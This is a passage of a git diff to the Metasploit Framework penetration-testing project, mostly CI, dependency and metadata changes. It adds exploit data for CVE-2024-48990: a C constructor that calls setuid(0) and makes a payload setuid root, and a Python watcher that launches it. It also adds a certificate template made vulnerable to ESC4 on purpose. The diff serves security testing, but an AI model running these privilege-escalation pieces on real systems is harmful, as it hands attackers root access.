diff --git a/.github/workflows/command_shell_acceptance.yml b/.github/workflows/command_shell_acceptance.yml index 62da721a0bec..269aec50a261 100644 --- a/.github/workflows/command_shell_acceptance.yml +++ b/.github/workflows/command_shell_acceptance.yml @@ -66,7 +66,7 @@ jobs: - windows-2019 - ubuntu-20.04 ruby: - - 3.1.5 + - '3.2' include: # Powershell - { command_shell: { name: powershell }, os: windows-2019 } diff --git a/.github/workflows/docs.yml b/.github/workflows/docs.yml index bea1fb68d882..76abbeaef215 100644 --- a/.github/workflows/docs.yml +++ b/.github/workflows/docs.yml @@ -32,7 +32,7 @@ jobs: # Ensures that the docs site builds successfully. Note that this workflow does not deploy the docs site. build: runs-on: ubuntu-latest - timeout-minutes: 40 + timeout-minutes: 60 strategy: fail-fast: true diff --git a/.github/workflows/ldap_acceptance.yml b/.github/workflows/ldap_acceptance.yml index 68e736d6cd41..9651487fc2ad 100644 --- a/.github/workflows/ldap_acceptance.yml +++ b/.github/workflows/ldap_acceptance.yml @@ -44,7 +44,7 @@ on: jobs: ldap: runs-on: ${{ matrix.os }} - timeout-minutes: 40 + timeout-minutes: 60 strategy: fail-fast: true diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index d6432fac2e07..dbb8dca6927c 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -29,7 +29,7 @@ on: jobs: msftidy: runs-on: ubuntu-latest - timeout-minutes: 40 + timeout-minutes: 60 env: BUNDLE_WITHOUT: "coverage development pcap" @@ -38,7 +38,7 @@ jobs: fail-fast: true matrix: ruby: - - '3.1' + - '3.2' name: Lint msftidy steps: diff --git a/.github/workflows/mssql_acceptance.yml b/.github/workflows/mssql_acceptance.yml index 1b1a674b6c45..f6542d56201f 100644 --- a/.github/workflows/mssql_acceptance.yml +++ b/.github/workflows/mssql_acceptance.yml @@ -44,7 +44,7 @@ on: jobs: mssql: runs-on: ${{ matrix.os }} - timeout-minutes: 40 + timeout-minutes: 60 services: mssql: diff --git a/.github/workflows/mysql_acceptance.yml b/.github/workflows/mysql_acceptance.yml index 0dcf9b09ec88..9bd2c9efecf9 100644 --- a/.github/workflows/mysql_acceptance.yml +++ b/.github/workflows/mysql_acceptance.yml @@ -44,7 +44,7 @@ on: jobs: mysql: runs-on: ${{ matrix.os }} - timeout-minutes: 40 + timeout-minutes: 60 services: mysql: diff --git a/.github/workflows/postgres_acceptance.yml b/.github/workflows/postgres_acceptance.yml index b0825047f4ac..0de893c76843 100644 --- a/.github/workflows/postgres_acceptance.yml +++ b/.github/workflows/postgres_acceptance.yml @@ -44,7 +44,7 @@ on: jobs: postgres: runs-on: ${{ matrix.os }} - timeout-minutes: 40 + timeout-minutes: 60 services: postgres: @@ -54,7 +54,7 @@ jobs: POSTGRES_USER: postgres POSTGRES_PASSWORD: password options: >- - --health-cmd pg_isready + --health-cmd "pg_isready --username postgres" --health-interval 10s --health-timeout 5s --health-retries 5 diff --git a/.github/workflows/shared_meterpreter_acceptance.yml b/.github/workflows/shared_meterpreter_acceptance.yml index e595308e2652..f79b65006473 100644 --- a/.github/workflows/shared_meterpreter_acceptance.yml +++ b/.github/workflows/shared_meterpreter_acceptance.yml @@ -30,11 +30,11 @@ on: type: boolean jobs: - # Compile Java Meterpreter via docker if required, we can't always do this on the + # Compile the Meterpreter payloads via docker if required, we can't always do this on the # host environment (i.e. for macos). So it instead gets compiled first on a linux # host, then the artifacts are copied back to the host later - java_meterpreter_compilation: - name: Compile Java Meterpreter + meterpreter_compilation: + name: Compile Meterpreter runs-on: ubuntu-latest if: ${{ inputs.build_metasploit_payloads }} @@ -46,21 +46,22 @@ jobs: path: metasploit-payloads ref: ${{ inputs.metasploit_payloads_commit }} - - name: Build Java and Android payloads + - name: Build Meterpreter payloads run: | - mkdir $(pwd)/java-artifacts - docker run --rm -w "$(pwd)" -v "$(pwd):$(pwd)" rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "set -x && cd metasploit-payloads/java && mvn package -Dandroid.sdk.path=/usr/local/android-sdk -Dandroid.release=true -Ddeploy.path=../../java-artifacts -Dmaven.test.skip=true -P deploy && mvn -Dmaven.test.skip=true -Ddeploy.path=../../java-artifacts -P deploy package" + mkdir $(pwd)/meterpreter-artifacts + docker run --rm -w $(pwd) -v $(pwd):$(pwd) rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "cd metasploit-payloads/gem && rake create_dir && rake win_copy && rake php_prep && rake java_prep && rake python_prep && rake create_manifest && rake build" + cp $(pwd)/metasploit-payloads/gem/pkg/metasploit-payloads-* $(pwd)/meterpreter-artifacts - - name: Store Java artifacts + - name: Store Meterpreter artifacts uses: actions/upload-artifact@v4 with: - name: java-artifacts - path: java-artifacts + name: meterpreter-artifacts + path: meterpreter-artifacts # Run all test individually, note there is a separate final job for aggregating the test results test: - needs: java_meterpreter_compilation - if: always() && (needs.java_meterpreter_compilation.result == 'success' || needs.java_meterpreter_compilation.result == 'skipped') + needs: meterpreter_compilation + if: always() && (needs.meterpreter_compilation.result == 'success' || needs.meterpreter_compilation.result == 'skipped') strategy: fail-fast: false @@ -70,7 +71,7 @@ jobs: - windows-2019 - ubuntu-20.04 ruby: - - 3.1.5 + - '3.2' meterpreter: # Python - { name: python, runtime_version: 3.6 } @@ -208,28 +209,28 @@ jobs: working-directory: metasploit-framework - uses: actions/download-artifact@v4 - name: Download Java meterpreter - id: download_java_meterpreter - if: ${{ matrix.meterpreter.name == 'java' && inputs.build_metasploit_payloads }} + name: Download Meterpreter + id: download_meterpreter + if: ${{ matrix.meterpreter.name != 'mettle' && inputs.build_metasploit_payloads }} with: # Note: Not specifying a name will download all artifacts from the previous workflow jobs path: raw-data - - name: Extract Java Meterpreter (Unix) - if: ${{ matrix.meterpreter.name == 'java' && runner.os != 'Windows' && inputs.build_metasploit_payloads }} + - name: Extract Meterpreter (Unix) + if: ${{ matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' && inputs.build_metasploit_payloads }} shell: bash run: | set -x - download_path=${{steps.download_java_meterpreter.outputs.download-path}} - cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data + download_path=${{steps.download_meterpreter.outputs.download-path}} + cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework - - name: Extract Java Meterpreter (Windows) - if: ${{ matrix.meterpreter.name == 'java' && runner.os == 'Windows' && inputs.build_metasploit_payloads }} + - name: Extract Meterpreter (Windows) + if: ${{ matrix.meterpreter.name != 'mettle' && runner.os == 'Windows' && inputs.build_metasploit_payloads }} shell: bash run: | set -x - download_path=$(cygpath -u '${{steps.download_java_meterpreter.outputs.download-path}}') - cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data + download_path=$(cygpath -u '${{steps.download_meterpreter.outputs.download-path}}') + cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework - name: Install mettle gem if: ${{ matrix.meterpreter.name == 'mettle' && inputs.build_mettle }} @@ -250,32 +251,6 @@ jobs: path: metasploit-payloads ref: ${{ inputs.metasploit_payloads_commit }} - - name: Get metasploit-payloads version - if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }} - shell: bash - run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV - working-directory: metasploit-payloads - - - name: Build metasploit-payloads gem - if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }} - run: gem build ./gem/metasploit-payloads.gemspec - working-directory: metasploit-payloads - - - name: Copy metasploit-payloads gem into metasploit-framework - if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }} - shell: bash - run: cp ../metasploit-payloads/metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem . - working-directory: metasploit-framework - - - name: Install metasploit-payloads gem - if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }} - run: | - bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem - bundle config unset deployment - bundle update metasploit-payloads - bundle install - working-directory: metasploit-framework - - name: Build Windows payloads via Visual Studio 2019 Build (Windows) shell: cmd if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2019' && inputs.build_metasploit_payloads }} @@ -294,12 +269,39 @@ jobs: make.bat working-directory: metasploit-payloads - - name: Build PHP, Python and Windows payloads - if: ${{ (matrix.meterpreter.name == 'php' || matrix.meterpreter.name == 'python' || runner.os == 'Windows') && inputs.build_metasploit_payloads }} - run: | - make install-php install-python install-windows + - name: Get metasploit-payloads version + if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }} + shell: bash + run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV working-directory: metasploit-payloads + - name: Install metasploit-payloads gem + if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }} + run: | + bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem + working-directory: metasploit-framework + + - name: Remove metasploit-payloads version from metasploit-framework.gemspec + if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' }} + run: | + ruby -pi -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec + working-directory: metasploit-framework + + - name: Remove metasploit-payloads version from metasploit-framework.gemspec (Windows) + if: ${{ inputs.build_metasploit_payloads && (runner.os == 'Windows' && matrix.meterpreter.name != 'windows_meterpreter') && matrix.meterpreter.name != 'mettle' }} + shell: cmd + run: | + ruby -pi.bak -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec + working-directory: metasploit-framework + + - name: Bundle update/install metasploit-payloads gem + if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }} + run: | + bundle config unset deployment + bundle update metasploit-payloads + bundle install + working-directory: metasploit-framework + - name: Acceptance env: SPEC_HELPER_LOAD_METASPLOIT: false diff --git a/.github/workflows/shared_smb_acceptance.yml b/.github/workflows/shared_smb_acceptance.yml index 252caf4b9840..cf8c127093fe 100644 --- a/.github/workflows/shared_smb_acceptance.yml +++ b/.github/workflows/shared_smb_acceptance.yml @@ -17,7 +17,7 @@ on: jobs: smb: runs-on: ${{ matrix.os }} - timeout-minutes: 40 + timeout-minutes: 60 strategy: fail-fast: true diff --git a/.github/workflows/verify.yml b/.github/workflows/verify.yml index e53ff6be3378..87ce8e7b305a 100644 --- a/.github/workflows/verify.yml +++ b/.github/workflows/verify.yml @@ -29,7 +29,7 @@ on: jobs: build: runs-on: ubuntu-latest - timeout-minutes: 40 + timeout-minutes: 60 name: Docker Build steps: - name: Checkout code @@ -41,7 +41,7 @@ jobs: test: runs-on: ${{ matrix.os }} - timeout-minutes: 40 + timeout-minutes: 60 services: postgres: @@ -51,7 +51,7 @@ jobs: POSTGRES_USER: postgres POSTGRES_PASSWORD: postgres options: >- - --health-cmd pg_isready + --health-cmd "pg_isready --username postgres" --health-interval 10s --health-timeout 5s --health-retries 5 @@ -60,16 +60,15 @@ jobs: fail-fast: true matrix: ruby: - - '3.1' - '3.2' - '3.3' - - '3.4.0-preview2' + - '3.4' os: - ubuntu-20.04 - ubuntu-latest include: - os: ubuntu-latest - ruby: '3.1' + ruby: '3.2' test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1' test_cmd: - bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" diff --git a/.github/workflows/weekly-data-and-external-tool-updater.yml b/.github/workflows/weekly-data-and-external-tool-updater.yml new file mode 100644 index 000000000000..6197d97bae3f --- /dev/null +++ b/.github/workflows/weekly-data-and-external-tool-updater.yml @@ -0,0 +1,98 @@ +name: Weekly Data and External Tool Updater + +# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions +permissions: + actions: none + checks: none + contents: none + deployments: none + id-token: none + issues: none + discussions: none + packages: none + pages: none + pull-requests: write + repository-projects: none + security-events: none + statuses: none + +on: + schedule: + # Run once a week (e.g., every Monday at 01:00 UTC) + - cron: '0 1 * * 1' + workflow_dispatch: # Allows manual triggering from the Actions tab + +jobs: + update-data-files: + runs-on: ubuntu-latest + + if: github.repository_owner == 'rapid7' + + env: + BUNDLE_WITHOUT: "coverage development pcap" + + strategy: + fail-fast: true + matrix: + ruby: + - '3.2' + + steps: + - name: Install system dependencies + run: sudo apt-get install libpcap-dev graphviz + + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - uses: ruby/setup-ruby@v1 + with: + ruby-version: '${{ matrix.ruby }}' + bundler-cache: true + + - name: Run Ruby updater scripts + run: | + ruby tools/dev/update_wordpress_vulnerabilities.rb + ruby tools/dev/update_joomla_components.rb + ruby tools/dev/update_user_agent_strings.rb + ruby tools/dev/check_external_scripts.rb -u + - name: Remove vendor folder # prevent git from adding it + run: rm -rf vendor + + - name: Create Pull Request + uses: peter-evans/create-pull-request@v7 + with: + token: ${{ secrets.GITHUB_TOKEN }} + commit-message: Update report + base: master + branch: weekly-updates + committer: github-actions[bot] + author: github-actions[bot] + title: "Weekly Data Update" + draft: false + body: | + This pull request was created automatically by a GitHub Action to update data files and external scripts. + The following tools were run: + - ruby tools/dev/update_wordpress_vulnerabilities.rb + - ruby tools/dev/update_joomla_components.rb + - ruby tools/dev/update_user_agent_strings.rb + - ruby tools/dev/check_external_scripts.rb -u + ## Verification + ### Wordpress/Joomla Files + - [ ] Do a sanity check, do the additions look legit? + - [ ] Start `msfconsole` + - [ ] `use modules/auxiliary/scanner/http/wordpress_scanner` + - [ ] **Verify** it runs + ### JTR Files + - [ ] Do a sanity check, do the additions look legit? + - [ ] See https://docs.metasploit.com/docs/using-metasploit/intermediate/hashes-and-password-cracking.html#example-hashes for hashes and cracking + ### SharpHound + - [ ] Start `msfconsole` + - [ ] get a shell on a DC or box connected to a dc + - [ ] `use post/windows/gather/bloodhound` + - [ ] `set session` + - [ ] `run` + - [ ] **Verify** it runs w/o erroring + - [ ] `set method disk` + - [ ] **Verify** it runs w/o erroring diff --git a/.mailmap b/.mailmap index 79292c70729a..80961d6f7494 100644 --- a/.mailmap +++ b/.mailmap @@ -17,6 +17,7 @@ todb-r7 todb-r7 todb-r7 dledda-r7 +msutovsky-r7 # Above this line are current Rapid7 employees. Below this paragraph are # volunteers, former employees, and potential Rapid7 employees who, at @@ -121,6 +122,7 @@ m-1-k-3 Michael Messner Meatballs1 Meatballs1 mubix Rob Fuller +mwalas-r7 net-ninja Steven Seeley nevdull77 Patrik Karlsson nmonkee nmonkee @@ -185,4 +187,4 @@ Jenkins Bot Jenkins Tab Assassin TabAssassin Tab Assassin Tabassassin Tab Assassin Tabasssassin -Tab Assassin URI Assassin \ No newline at end of file +Tab Assassin URI Assassin diff --git a/Gemfile.lock b/Gemfile.lock index 608655456bab..424b3b1bda54 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.4.36) + metasploit-framework (6.4.49) aarch64 abbrev actionpack (~> 7.0.0) @@ -15,10 +15,12 @@ PATH base64 bcrypt bcrypt_pbkdf + benchmark bigdecimal bootsnap bson chunky_png + concurrent-ruby (= 1.3.4) csv dnsruby drb @@ -31,6 +33,7 @@ PATH faraday-retry faye-websocket ffi (< 1.17.0) + fiddle filesize getoptlong hrr_rb_ssh-ed25519 @@ -42,7 +45,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 2.0.187) + metasploit-payloads (= 2.0.189) metasploit_data_models metasploit_payloads-mettle (= 1.0.35) mqtt @@ -60,6 +63,7 @@ PATH octokit (~> 4.0) openssl-ccm openvas-omp + ostruct packetfu patch_finder pcaprub @@ -186,6 +190,7 @@ GEM base64 (0.2.0) bcrypt (3.1.20) bcrypt_pbkdf (1.1.1) + benchmark (0.4.0) bigdecimal (3.1.8) bindata (2.4.15) bootsnap (1.18.4) @@ -200,7 +205,7 @@ GEM crass (1.0.6) csv (3.3.0) daemons (1.4.1) - date (3.3.4) + date (3.4.1) debug (1.8.0) irb (>= 1.5.0) reline (>= 0.3.1) @@ -242,6 +247,7 @@ GEM eventmachine (>= 0.12.0) websocket-driver (>= 0.5.1) ffi (1.16.3) + fiddle (1.1.6) filesize (0.2.0) fivemat (1.3.7) getoptlong (0.2.1) @@ -300,7 +306,7 @@ GEM activemodel (~> 7.0) activesupport (~> 7.0) railties (~> 7.0) - metasploit-payloads (2.0.187) + metasploit-payloads (2.0.189) metasploit_data_models (6.0.5) activerecord (~> 7.0) activesupport (~> 7.0) @@ -317,7 +323,7 @@ GEM logger mime-types-data (~> 3.2015) mime-types-data (3.2024.1001) - mini_portile2 (2.8.7) + mini_portile2 (2.8.8) minitest (5.25.1) mqtt (0.6.0) msgpack (1.6.1) @@ -340,7 +346,7 @@ GEM network_interface (0.0.4) nexpose (7.3.0) nio4r (2.7.4) - nokogiri (1.16.7) + nokogiri (1.18.2) mini_portile2 (~> 2.8.2) racc (~> 1.4) nori (2.7.1) @@ -351,6 +357,7 @@ GEM openssl-ccm (1.2.3) openssl-cmac (2.0.2) openvas-omp (0.0.4) + ostruct (0.6.1) packetfu (2.0.0) pcaprub (~> 0.13.1) parallel (1.26.3) @@ -439,14 +446,15 @@ GEM rex-random_identifier rex-text ruby-rc4 - rex-random_identifier (0.1.12) + rex-random_identifier (0.1.13) rex-text rex-registry (0.1.5) rex-rop_builder (0.1.5) metasm rex-core rex-text - rex-socket (0.1.57) + rex-socket (0.1.58) + dnsruby rex-core rex-sslscan (0.1.10) rex-core @@ -499,11 +507,11 @@ GEM ruby-progressbar (1.13.0) ruby-rc4 (0.1.5) ruby2_keywords (0.0.5) - ruby_smb (3.3.10) + ruby_smb (3.3.13) bindata (= 2.4.15) openssl-ccm openssl-cmac - rubyntlm + rubyntlm (>= 0.6.5) windows_error (>= 0.1.4) rubyntlm (0.6.5) base64 diff --git a/LICENSE_GEMS b/LICENSE_GEMS index b710942c6f02..832c40c89137 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -26,6 +26,7 @@ aws-sigv4, 1.10.1, "Apache 2.0" base64, 0.2.0, "ruby, Simplified BSD" bcrypt, 3.1.20, MIT bcrypt_pbkdf, 1.1.1, MIT +benchmark, 0.4.0, "ruby, Simplified BSD" bigdecimal, 3.1.8, "ruby, Simplified BSD" bindata, 2.4.15, "Simplified BSD" bootsnap, 1.18.4, MIT @@ -40,7 +41,7 @@ cookiejar, 0.3.4, "Simplified BSD" crass, 1.0.6, MIT csv, 3.3.0, "ruby, Simplified BSD" daemons, 1.4.1, MIT -date, 3.3.4, "ruby, Simplified BSD" +date, 3.4.1, "ruby, Simplified BSD" debug, 1.8.0, "ruby, Simplified BSD" diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later" dnsruby, 1.72.2, "Apache 2.0" @@ -61,6 +62,7 @@ faraday-net_http, 3.0.2, MIT faraday-retry, 2.2.1, MIT faye-websocket, 0.11.3, "Apache 2.0" ffi, 1.16.3, "New BSD" +fiddle, 1.1.6, "ruby, Simplified BSD" filesize, 0.2.0, MIT fivemat, 1.3.7, MIT getoptlong, 0.2.1, "ruby, Simplified BSD" @@ -88,9 +90,9 @@ memory_profiler, 1.1.0, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 5.0.3, "New BSD" metasploit-credential, 6.0.11, "New BSD" -metasploit-framework, 6.4.36, "New BSD" +metasploit-framework, 6.4.49, "New BSD" metasploit-model, 5.0.2, "New BSD" -metasploit-payloads, 2.0.187, "3-clause (or ""modified"") BSD" +metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD" metasploit_data_models, 6.0.5, "New BSD" metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD" method_source, 1.1.0, MIT @@ -119,6 +121,7 @@ octokit, 4.25.1, MIT openssl-ccm, 1.2.3, MIT openssl-cmac, 2.0.2, MIT openvas-omp, 0.0.4, MIT +ostruct, 0.6.1, "ruby, Simplified BSD" packetfu, 2.0.0, "New BSD" parallel, 1.26.3, MIT parser, 3.3.5.0, MIT @@ -156,10 +159,10 @@ rex-mime, 0.1.8, "New BSD" rex-nop, 0.1.3, "New BSD" rex-ole, 0.1.8, "New BSD" rex-powershell, 0.1.100, "New BSD" -rex-random_identifier, 0.1.12, "New BSD" +rex-random_identifier, 0.1.13, "New BSD" rex-registry, 0.1.5, "New BSD" rex-rop_builder, 0.1.5, "New BSD" -rex-socket, 0.1.57, "New BSD" +rex-socket, 0.1.58, "New BSD" rex-sslscan, 0.1.10, "New BSD" rex-struct2, 0.1.4, "New BSD" rex-text, 0.2.59, "New BSD" @@ -181,7 +184,7 @@ ruby-prof, 1.4.2, "Simplified BSD" ruby-progressbar, 1.13.0, MIT ruby-rc4, 0.1.5, MIT ruby2_keywords, 0.0.5, "ruby, Simplified BSD" -ruby_smb, 3.3.10, "New BSD" +ruby_smb, 3.3.13, "New BSD" rubyntlm, 0.6.5, MIT rubyzip, 2.3.2, "Simplified BSD" sawyer, 0.9.2, MIT diff --git a/README.md b/README.md index ec2b0209a75b..74c4a2cb81d2 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,3 @@ - # Metasploit Framework The Metasploit Framework is an open-source tool released under a BSD-style license. For detailed licensing information, refer to the `COPYING` file. @@ -21,11 +20,10 @@ For information on writing modules, refer to the [API Documentation](https://doc ## Support and Communication For questions and suggestions, join the Freenode IRC channel or contact the metasploit-hackers mailing list. ---- - ## Installing Metasploit ### Recommended Installation + We recommend installation with the [official Metasploit installers](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html#installing-metasploit-on-linux--macos) on Linux or macOS. Metasploit is also pre-installed with Kali. For a manual setup, consult the [Dev Environment Setup](https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html) guide. diff --git a/data/auxiliary/admin/ldap/ad_cs_cert_template/esc4_template.yaml b/data/auxiliary/admin/ldap/ad_cs_cert_template/esc4_template.yaml new file mode 100644 index 000000000000..521a6c2dcf18 --- /dev/null +++ b/data/auxiliary/admin/ldap/ad_cs_cert_template/esc4_template.yaml @@ -0,0 +1,30 @@ +--- +# Creates a template that will be vulnerable to ESC4 (certificate has weak edit permissions). +# Fields are based on the SubCA template. For field descriptions, +# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434 +showInAdvancedViewOnly: 'TRUE' +# this security descriptor grants all permissions to all authenticated users (this is what makes the template vulnerable to ESC4) +nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU) +flags: 0 +pKIDefaultKeySpec: 2 +pKIKeyUsage: !binary |- + hgA= +pKIMaxIssuingDepth: 0 +pKICriticalExtensions: + - 2.5.29.19 + - 2.5.29.15 +pKIExtendedKeyUsage: +# Server Authentication OID (Not necessary although if left blank this template would also be vulnerable to ESC2) + - 1.3.6.1.5.5.7.3.1 +pKIExpirationPeriod: !binary |- + AEAepOhl+v8= +pKIOverlapPeriod: !binary |- + AICmCv/e//8= +pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0 +msPKI-RA-Signature: 0 +msPKI-Enrollment-Flag: 0 +# CT_FLAG_EXPORTABLE_KEY +msPKI-Private-Key-Flag: 0x10 +# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH +msPKI-Certificate-Name-Flag: 0x82000000 +msPKI-Minimal-Key-Size: 2048 \ No newline at end of file diff --git a/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml b/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml index e7f73dca17ff..94c059517802 100644 --- a/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml +++ b/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml @@ -373,3 +373,17 @@ queries: - https://malicious.link/post/2022/ldapsearch-reference/ - https://burmat.gitbook.io/security/hacking/domain-exploitation - https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties + - action: ENUM_PRE_WINDOWS_2000_COMPUTERS + description: 'Dump info about all computer objects likely created as a "pre-Windows 2000 computer", for which the password might be predictable.' + filter: '(&(userAccountControl=4128))' + attributes: + - cn + - displayName + - description + - sAMAccountName + - userPrincipalName + - logonCount + - userAccountControl + references: + - https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers + - https://trustedsec.com/blog/diving-into-pre-created-computer-accounts diff --git a/data/exploits/CVE-2024-35250/CVE-2024-35250.x64.dll b/data/exploits/CVE-2024-35250/CVE-2024-35250.x64.dll new file mode 100644 index 000000000000..fb06d935e3b6 Binary files /dev/null and b/data/exploits/CVE-2024-35250/CVE-2024-35250.x64.dll differ diff --git a/data/exploits/CVE-2024-48990/lib.metasm b/data/exploits/CVE-2024-48990/lib.metasm new file mode 100644 index 000000000000..cdb70f43a3a1 --- /dev/null +++ b/data/exploits/CVE-2024-48990/lib.metasm @@ -0,0 +1,27 @@ +/* +// system call +#include +// setuid, setgid +#include + +static void a() __attribute__((constructor)); + +void a() { + setuid(0); + setgid(0); + const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &"; + system(shell); +} +*/ + +extern int setuid(int); +extern int setgid(int); +extern int system(const char *__s); + +void a(void) __attribute__((constructor)); + +void __attribute__((constructor)) a() { + setuid(0); + setgid(0); + system("chown root:root 'PAYLOAD_PATH'; chmod a+x,u+s 'PAYLOAD_PATH'"); +} \ No newline at end of file diff --git a/data/exploits/CVE-2024-48990/sleeper.py b/data/exploits/CVE-2024-48990/sleeper.py new file mode 100644 index 000000000000..777429c0092d --- /dev/null +++ b/data/exploits/CVE-2024-48990/sleeper.py @@ -0,0 +1,17 @@ +import os +import time +import pwd + +print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...") + +while True: + try: + file_stat = os.stat('PAYLOAD_PATH') + except FileNotFoundError: + exit() + username = pwd.getpwuid(file_stat.st_uid).pw_name + #print(f"Payload owned by: {username}. Stats: {file_stat}") + if (username == 'root'): + os.system('PAYLOAD_PATH &') + exit() + time.sleep(1) \ No newline at end of file diff --git a/data/php/hop.php b/data/php/hop.php deleted file mode 100644 index d2c289a3b56c..000000000000 --- a/data/php/hop.php +++ /dev/null @@ -1,68 +0,0 @@ -", + "Sandro Tolksdorf of usd AG." + ], + "description": "Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all,\n compute, storage and application resources. Businesses and Service Providers are using it\n to protect and backup all IT assets in their IT environment.\n This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect\n appliance which, in its default configuration, allows the anonymous registration of new\n backup/protection agents on new endpoints. This API endpoint also generates bearer tokens\n which the agent then uses to authenticate to the appliance.\n As the management web console is running on the same port as the API for the agents, this\n bearer token is also valid for any actions on the web console. This allows an attacker\n with network access to the appliance to start the registration of a new agent, retrieve\n a bearer token that provides admin access to the available functions in the web console.\n\n This module will gather all machine info (endpoints) configured and managed by the appliance.\n This information can be used in a subsequent attack that exploits this vulnerability to\n execute arbitrary commands on both the managed endpoint and the appliance.\n This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`.\n\n Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and\n Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.", + "references": [ + "CVE-2022-30995", + "CVE-2022-3405", + "URL-https://herolab.usd.de/security-advisories/usd-2022-0008/", + "URL-https://attackerkb.com/topics/27RudJXbN4/cve-2022-30995" + ], + "platform": "", + "arch": "", + "rport": 9877, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2024-11-26 16:10:14 +0000", + "path": "/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb", + "is_install_path": true, + "ref_name": "gather/acronis_cyber_protect_machine_info_disclosure", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [ + + ] + }, "auxiliary_gather/adobe_coldfusion_fileread_cve_2023_26360": { "name": "Adobe ColdFusion Unauthenticated Arbitrary File Read", "fullname": "auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360", @@ -20135,6 +20398,68 @@ } ] }, + "auxiliary_gather/argus_dvr_4_lfi_cve_2018_15745": { + "name": "Argus Surveillance DVR 4.0.0.0 - Directory Traversal", + "fullname": "auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "Maxwell Francis", + "John Page" + ], + "description": "This module leverages an unauthenticated arbitrary file read for\n the Argus Surveillance 4.0.0.0 system which never saw an update since.\n As this is a Windows related application we recommend looking for common\n Windows file locations, especially C:\\ProgramData\\PY_Software\\Argus Surveillance DVR\\DVRParams.ini\n which houses another vulnerability in the Argus Surveillance system. This directory traversal vuln\n is being tracked as CVE-2018-15745", + "references": [ + "URL-https://argus-surveillance-dvr.soft112.com/#google_vignette", + 